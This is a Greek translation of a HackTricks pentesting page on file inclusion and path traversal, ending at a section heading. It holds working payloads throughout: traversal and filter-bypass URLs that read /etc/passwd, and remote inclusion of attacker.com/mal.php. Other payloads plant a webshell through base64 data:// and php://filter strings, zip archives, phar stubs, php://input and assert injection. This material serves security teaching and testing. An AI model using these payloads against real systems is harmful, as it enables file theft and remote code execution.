.. | ||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md | ||
lfi2rce-via-eternal-waiting.md | ||
lfi2rce-via-nginx-temp-files.md | ||
lfi2rce-via-php-filters.md | ||
lfi2rce-via-phpinfo.md | ||
lfi2rce-via-segmentation-fault.md | ||
lfi2rce-via-temp-file-uploads.md | ||
phar-deserialization.md | ||
README.md | ||
via-php_session_upload_progress.md |
Ενσωμάτωση Αρχείου/Διάβασμα Διαδρομής
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Συμμετάσχετε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Συμμετέχετε στον διακομιστή HackenProof Discord για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Εισαγωγή στο Χάκινγκ
Αλληλεπιδράστε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Τελευταίες Ανακοινώσεις
Μείνετε ενημερωμένοι με τις νεότερες ευρήματα ασφαλείας που ξεκινούν και τις κρίσιμες ενημερώσεις των πλατφορμών
Συμμετέχετε στο Discord και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!
Ενσωμάτωση Αρχείου
Απομακρυσμένη Ενσωμάτωση Αρχείου (RFI): Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερο: Μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στην php αυτό είναι απενεργοποιημένο από προεπιλογή (allow_url_include).
Τοπική Ενσωμάτωση Αρχείου (LFI): Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
Η ευπάθεια παρουσιάζεται όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που θα φορτωθεί από τον διακομιστή.
Ευπάθειες PHP συναρτήσεων: require, require_once, include, include_once
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: https://github.com/kurobeats/fimap
Τυφλή - Ενδιαφέρουσα - Αρχεία LFI2RCE
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Συνδυάζοντας αρκετές λίστες LFI για *nix και προσθέτοντας περισσότερα μονοπάτια, έχω δημιουργήσει αυτήν:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Δοκιμάστε επίσης να αλλάξετε το /
με \
Δοκιμάστε επίσης να προσθέσετε ../../../../../
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ
Windows
Συγχώνευση διαφορετικών λιστών λέξεων:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Δοκιμάστε επίσης να αλλάξετε το /
με \
Δοκιμάστε επίσης να αφαιρέσετε το C:/
και να προσθέσετε ../../../../../
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ
OS X
Ελέγξτε τη λίστα LFI του Linux.
Βασική LFI και παράκαμψη
Όλα τα παραδείγματα αφορούν τοπική ενσωμάτωση αρχείων, αλλά μπορούν να εφαρμοστούν και στην απομακρυσμένη ενσωμάτωση αρχείων (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
Ακολουθίες διάσχισης που αφαιρούνται μη αναδρομικά
Οι ακολουθίες διάσχισης που αφαιρούνται μη αναδρομικά αναφέρονται σε μια ευπάθεια ασφάλειας που επιτρέπει σε έναν επιτιθέμενο να ανακτήσει αρχεία από τον διακομιστή που φιλοξενεί μια εφαρμογή ιστού. Αυτή η ευπάθεια συμβαίνει όταν η εφαρμογή δεν ελέγχει σωστά τις εισόδους που λαμβάνει από τον χρήστη και επιτρέπει την εισαγωγή αρχείων από άλλες τοποθεσίες. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την ευπάθεια για να ανακτήσει ευαίσθητες πληροφορίες ή να εκτελέσει κακόβουλο κώδικα στον διακομιστή.
Για να εκμεταλλευτεί αυτήν την ευπάθεια, ο επιτιθέμενος χρησιμοποιεί μια ακολουθία διάσχισης (traversal sequence) για να προσπεράσει τους περιορισμούς πρόσβασης και να ανακτήσει αρχεία από άλλες τοποθεσίες στον διακομιστή. Αυτή η ακολουθία διάσχισης μπορεί να αφαιρεθεί μη αναδρομικά, δηλαδή να μην απαιτείται η χρήση αναδρομικών κλήσεων για να επιτευχθεί η εκμετάλλευση.
Οι επιτιθέμενοι χρησιμοποιούν συχνά αυτήν την ευπάθεια για να ανακτήσουν ευαίσθητα αρχεία, όπως αρχεία καταγραφής, κωδικούς πρόσβασης ή αρχεία ρυθμίσεων, που μπορούν να τους παράσχουν πρόσβαση σε περισσότερες πληροφορίες ή να τους επιτρέψουν να εκτελέσουν περαιτέρω επιθέσεις στο σύστημα.
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Παράκαμψη της προσθήκης περισσότερων χαρακτήρων στο τέλος του παρεχόμενου αλφαριθμητικού (παράκαμψη του: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Αυτό έχει λυθεί από την έκδοση PHP 5.4
Κωδικοποίηση
Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως διπλή κωδικοποίηση URL (και άλλες):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Από υπάρχουσα φάκελο
Ίσως το πίσω μέρος ελέγχει τη διαδρομή του φακέλου:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Εξερεύνηση Καταλόγων Αρχείων σε Έναν Διακομιστή
Ο αρχειοσυστηματικός κατάλογος ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για την εντοπισμό καταλόγων, όχι μόνο αρχείων, χρησιμοποιώντας συγκεκριμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και τον έλεγχο για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρουσιάζεται μια λεπτομερής μέθοδος για την επίτευξη αυτού:
- Προσδιορισμός Βάθους Καταλόγου:
Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας με επιτυχία το αρχείο
/etc/passwd
(ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει την ακόλουθη δομή, υποδεικνύοντας ένα βάθος τριών:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Έρευνα για Φακέλους:
Προσθέστε το όνομα του υποψιασμένου φακέλου (π.χ.
private
) στο URL, και στη συνέχεια πλοηγηθείτε πίσω στο/etc/passwd
. Το επιπλέον επίπεδο φακέλου απαιτεί αύξηση του βάθους κατά ένα:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Ερμηνεία των Αποτελεσμάτων: Η απάντηση του διακομιστή υποδεικνύει εάν ο φάκελος υπάρχει:
- Σφάλμα / Καμία Έξοδος: Ο φάκελος
private
πιθανώς δεν υπάρχει στην καθορισμένη τοποθεσία. - Περιεχόμενα του
/etc/passwd
: Επιβεβαιώνεται η ύπαρξη του φακέλουprivate
.
- Αναδρομική Εξερεύνηση: Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Τοπικής Ενσωμάτωσης Αρχείων (LFI).
Για να εξερευνήσετε φακέλους σε διάφορες τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το φορτίο αναλόγως. Για παράδειγμα, για να ελέγξετε εάν ο φάκελος /var/www/
περιέχει έναν φάκελο private
(υποθέτοντας ότι ο τρέχων φάκελος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Τεχνική Περικοπής Διαδρομής
Η περικοπή διαδρομής είναι μια μέθοδος που χρησιμοποιείται για την παραπλάνηση των διαδρομών αρχείων σε εφαρμογές ιστού. Συχνά χρησιμοποιείται για να αποκτηθεί πρόσβαση σε περιορισμένα αρχεία, παρακάμπτοντας τα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
/etc/passwd
,/etc//passwd
,/etc/./passwd
και/etc/passwd/
θεωρούνται όλα ως η ίδια διαδρομή.- Όταν οι τελευταίοι 6 χαρακτήρες είναι
passwd
, η προσθήκη ενός/
(καθιστώντας τοpasswd/
) δεν αλλάζει το επιθυμητό αρχείο. - Αντίστοιχα, αν προστεθεί το
.php
σε μια διαδρομή αρχείου (όπωςshellcode.php
), η προσθήκη ενός/.
στο τέλος δεν αλλοιώνει το αρχείο που ανακτάται.
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε την τεχνική περικοπής διαδρομής για να αποκτήσετε πρόσβαση στο /etc/passwd
, ένα συνηθές στόχο λόγω του ευαίσθητου περιεχομένου που περιέχει (πληροφορίες λογαριασμών χρηστών):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Σε αυτά τα σενάρια, ο αριθμός των διασχίσεων που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να ποικίλει ανάλογα με τη διαμόρφωση του διακομιστή.
-
Χρήση τμημάτων με τελείες και επιπλέον χαρακτήρες: Ακολουθίες διάσχισης (
../
) σε συνδυασμό με επιπλέον τμήματα με τελείες και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθείτε στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή. -
Προσδιορισμός του απαιτούμενου αριθμού διασχίσεων: Μέσω δοκιμής και σφάλματος, μπορεί κανείς να βρει τον ακριβή αριθμό ακολουθιών
../
που απαιτούνται για να πλοηγηθεί στον κατάλογο ρίζας και στη συνέχεια στο/etc/passwd
, εξασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως.php
) απενεργοποιούνται, αλλά η επιθυμητή διαδρομή (/etc/passwd
) παραμένει ανέπαφη. -
Έναρξη με έναν ψεύτικο κατάλογο: Είναι συνηθισμένο να ξεκινά η διαδρομή με έναν μη υπαρκτό κατάλογο (όπως
a/
). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να πληρούνται οι απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομής, είναι ζωτικής σημασίας να κατανοήσετε τη συμπεριφορά ανάλυσης διαδρομής του διακομιστή και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί μια διαφορετική προσέγγιση και συχνά είναι απαραίτητη η δοκιμή για να βρεθεί η πιο αποτελεσματική μέθοδος.
Αυτή η ευπάθεια διορθώθηκε στην PHP 5.3.
Τεχνικές παράκαμψης φίλτρων
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Απομακρυσμένη Συμπερίληψη Αρχείου
Στην PHP αυτό είναι απενεργοποιημένο από προεπιλογή επειδή η ρύθμιση allow_url_include
είναι Off. Πρέπει να είναι On για να λειτουργήσει, και σε αυτήν την περίπτωση μπορείτε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE (Remote Code Execution):
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Εάν για κάποιο λόγο το allow_url_include
είναι On, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, σύμφωνα με αυτήν την ανάρτηση, μπορείτε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο data με το base64 για να αποκωδικοποιήσετε έναν κώδικα PHP b64 και να λάβετε RCE:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
Στον προηγούμενο κώδικα, το τελικό +.txt
προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που να τελειώνει σε .txt
, έτσι η συμβολοσειρά τελειώνει με αυτό και μετά την αποκωδικοποίηση b64 αυτό το μέρος θα επιστρέψει απλά αχρήστευτα δεδομένα και ο πραγματικός κώδικας PHP θα εισαχθεί (και επομένως, θα εκτελεστεί).
{% endhint %}
Ένα άλλο παράδειγμα χωρίς τη χρήση του πρωτοκόλλου php://
θα ήταν:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
Ρίζα στοιχείου στην Python
Στην Python, σε έναν κώδικα όπως αυτός:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Εάν ο χρήστης δώσει ένα απόλυτο μονοπάτι στο file_name
, το προηγούμενο μονοπάτι απλά αφαιρείται:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Αυτή είναι η αναμενόμενη συμπεριφορά σύμφωνα με τα έγγραφα:
Εάν ένα στοιχείο είναι απόλυτη διαδρομή, όλα τα προηγούμενα στοιχεία απορρίπτονται και η συνένωση συνεχίζεται από το στοιχείο της απόλυτης διαδρομής.
Λίστα Καταλόγων Java
Φαίνεται ότι εάν έχετε ένα Path Traversal σε Java και ζητήσετε έναν κατάλογο αντί για ένα αρχείο, επιστρέφεται μια λίστα των αρχείων του καταλόγου. Αυτό δεν συμβαίνει σε άλλες γλώσσες (απ' όσο γνωρίζω).
Κορυφαίες 25 παράμετροι
Εδώ είναι μια λίστα με τις κορυφαίες 25 παραμέτρους που μπορεί να είναι ευάλωτες σε τοπικές ενσωματώσεις αρχείων (LFI) (από σύνδεσμο):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI χρησιμοποιώντας PHP wrappers & πρωτόκολλα
php://filter
Τα PHP φίλτρα επιτρέπουν την εκτέλεση βασικών λειτουργιών τροποποίησης των δεδομένων πριν αυτά διαβαστούν ή γραφούν. Υπάρχουν 5 κατηγορίες φίλτρων:
- Φίλτρα Συμβολοσειράς:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Αφαιρεί τις ετικέτες από τα δεδομένα (όλα ανάμεσα στους χαρακτήρες "<" και ">")- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
- Φίλτρα Μετατροπής
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Μετατρέπει σε διαφορετική κωδικοποίηση (convert.iconv.<input_enc>.<output_enc>
). Για να λάβετε τη λίστα όλων των υποστηριζόμενων κωδικοποιήσεων εκτελέστε στη γραμμή εντολών:iconv -l
{% hint style="warning" %}
Εκμεταλλευόμενοι το φίλτρο μετατροπής convert.iconv.*
μπορείτε να δημιουργήσετε αυθαίρετο κείμενο, το οποίο μπορεί να είναι χρήσιμο για την εγγραφή αυθαίρετου κειμένου ή για τη δημιουργία μιας λειτουργίας που να επεξεργάζεται αυθαίρετο κείμενο. Για περισσότερες πληροφορίες ανατρέξτε στο LFI2RCE μέσω php filters.
{% endhint %}
- Φίλτρα Συμπίεσης
zlib.deflate
: Συμπιέζει το περιεχόμενο (χρήσιμο αν χρειάζεται να εξαγάγετε μεγάλο όγκο πληροφοριών)zlib.inflate
: Αποσυμπιέζει τα δεδομένα- Φίλτρα Κρυπτογράφησης
mcrypt.*
: Απεικονίζεταιmdecrypt.*
: Απεικονίζεται- Άλλα Φίλτρα
- Εκτελώντας την εντολή
var_dump(stream_get_filters());
στο php μπορείτε να βρείτε μερικά απροσδόκητα φίλτρα: consumed
dechunk
: αντιστρέφει την κωδικοποίηση HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} Το μέρος "php://filter" είναι ανεξάρτητο από την πεζή γραφή. {% endhint %}
php://fd
Αυτός ο wrapper επιτρέπει την πρόσβαση σε αριθμούς αναγνωριστικού αρχείου (file descriptors) που έχει ανοιχτούς η διεργασία. Πιθανώς χρήσιμο για να εξαγάγετε το περιεχόμενο ανοιχτών αρχείων:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Μπορείτε επίσης να χρησιμοποιήσετε τα php://stdin, php://stdout και php://stderr για να έχετε πρόσβαση στους αριθμούς αναγνώρισης αρχείων 0, 1 και 2 αντίστοιχα (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια επίθεση)
zip:// και rar://
Μεταφορτώστε ένα αρχείο Zip ή Rar με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.
Για να μπορέσετε να καταχραστείτε το πρωτόκολλο rar, πρέπει να ενεργοποιηθεί ειδικά.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
Το data://
είναι ένας τρόπος να αναφερθείτε σε δεδομένα που είναι ενσωματωμένα απευθείας στο URL. Αυτό μπορεί να χρησιμοποιηθεί για να εισάγετε δεδομένα από το ίδιο το URL, αντί να ανακτήσετε δεδομένα από έναν εξωτερικό πόρο.
Για παράδειγμα, ένα URL με τη μορφή data:text/plain;base64,SGVsbG8gd29ybGQ=
θα ανακτήσει το κείμενο "Hello world". Το κείμενο είναι κωδικοποιημένο σε Base64 και προσδιορίζεται από το text/plain
που ακολουθεί.
Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εισαχθούν δεδομένα από τον ίδιο τον κώδικα της εφαρμογής ή από άλλες πηγές δεδομένων που είναι διαθέσιμες στον διακομιστή. Ωστόσο, πρέπει να είστε προσεκτικοί κατά τη χρήση αυτής της τεχνικής, καθώς μπορεί να υπάρχει κίνδυνος για εκτέλεση κακόβουλου κώδικα ή αποκάλυψη ευαίσθητων πληροφοριών.
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Σημείωση ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις του php allow_url_open
και allow_url_include
expect://
Το expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
είσοδος://
Καθορίστε το payload σας στις παραμέτρους POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Ένα αρχείο .phar
μπορεί να χρησιμοποιηθεί για να εκτελέσει κώδικα PHP όταν μια web εφαρμογή χρησιμοποιεί λειτουργίες όπως το include
για τη φόρτωση αρχείων. Το ακόλουθο απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Για να συντάξετε το αρχείο .phar
, πρέπει να εκτελέσετε την παρακάτω εντολή:
php --define phar.readonly=0 create_path.php
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με το όνομα test.phar
, το οποίο θα μπορούσε να χρησιμοποιηθεί για εκμετάλλευση ευπάθειας τοπικής συμπερίληψης αρχείων (LFI).
Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς να εκτελείται ο κώδικας PHP μέσα σε αυτά, μέσω συναρτήσεων όπως file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
ή filesize()
, μπορεί να προσπαθηθεί η εκμετάλλευση μιας ευπάθειας αποσυνερίας. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο phar
.
Για μια λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσυνερίας στο πλαίσιο των αρχείων .phar
, ανατρέξτε στο παρακάτω έγγραφο:
Οδηγός Εκμετάλλευσης Αποσυνερίας Phar
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Περισσότερα πρωτόκολλα
Ελέγξτε περισσότερα πιθανά πρωτόκολλα για συμπερίληψη εδώ:
- php://memory και php://temp — Εγγραφή στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς μπορεί να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)
- file:// — Πρόσβαση στο τοπικό σύστημα αρχείων
- http:// — Πρόσβαση σε URL HTTP(s)
- ftp:// — Πρόσβαση σε URL FTP(s)
- zlib:// — Ροές συμπίεσης
- glob:// — Εύρεση ονομάτων αρχείων που ταιριάζουν στο πρότυπο (δεν επιστρέφει κάτι εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- ssh2:// — Ασφαλής κέλυφος 2
- ogg:// — Ροές ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
LFI μέσω της 'assert' του PHP
Οι κίνδυνοι της τοπικής συμπερίληψης αρχείων (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούμαστε με την συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε αλφαριθμητικά. Αυτό είναι ιδιαίτερα προβληματικό εάν ο έλεγχος εισόδου που περιέχει χαρακτήρες διάβασης καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέψει τη διάβαση καταλόγων ως εξής:
assert("strpos('$file', '..') === false") or die("");
Ενώ αυτό στοχεύει να σταματήσει τη διάβαση, ακούσια δημιουργεί έναν διάνυσμα για εισαγωγή κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένου αρχείου, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει:
' and die(highlight_file('/etc/passwd')) or '
Με αντίστοιχο τρόπο, για την εκτέλεση αυθαίρετων εντολών στο σύστημα, μπορεί κανείς να χρησιμοποιήσει:
' and die(system("id")) or '
Είναι σημαντικό να κωδικοποιήσετε τις φορτίες URL.
Συμμετέχετε στον διακομιστή HackenProof Discord για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Εισαγωγή στο Hacking
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Τελευταίες Ανακοινώσεις
Μείνετε ενημερωμένοι με τις νεότερες ευκαιρίες ευρημάτων ασφαλείας που ξεκινούν και τις κρίσιμες ενημερώσεις της πλατφόρμας
Συμμετέχετε μαζί μας στο Discord και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!
Τυφλή Διαδρομή Εκτέλεσης PHP
{% hint style="warning" %}
Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου έχετε έλεγχο της διαδρομής αρχείου μιας συνάρτησης PHP που θα αποκτήσει πρόσβαση σε ένα αρχείο αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως ένα απλό κάλεσμα στη file()
) αλλά το περιεχόμενο δεν εμφανίζεται.
{% endhint %}
Στο αυτήν την εκπληκτική ανάρτηση εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή εκτέλεσης μέσω PHP φίλτρου για να εξαγάγει το περιεχόμενο ενός αρχείου μέσω ενός orcale σφάλματος.
Ως σύνοψη, η τεχνική χρησιμοποιεί την κωδικοποίηση "UCS-4LE" για να κατασκευάσει το περιεχόμενο ενός αρχείου τόσο μεγάλο ώστε η συνάρτηση PHP που ανοίγει το αρχείο να προκαλέσει ένα σφάλμα.
Στη συνέχεια, για να διαρρεύσει το πρώτο χαρακτήρα, χρησιμοποιείται το φίλτρο dechunk
μαζί με άλλα όπως το base64 ή το rot13 και τέλος χρησιμοποιούνται τα φίλτρα convert.iconv.UCS-4.UCS-4LE και convert.iconv.UTF16.UTF-16BE για να τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν.
Συναρτήσεις που μπορεί να είναι ευάλωτες: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (μόνο για ανάγνωση στόχου με αυτό)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Για τεχνικές λεπτομέρειες, ελέγξτε την αναφερόμενη ανάρτηση!
LFI2RCE
Απομακρυσμένη Συμπερίληψη Αρχείου
Εξηγήθηκε προηγουμένως, ακολουθήστε αυτόν τον σύνδεσμο.
Μέσω αρχείου καταγραφής Apache/Nginx
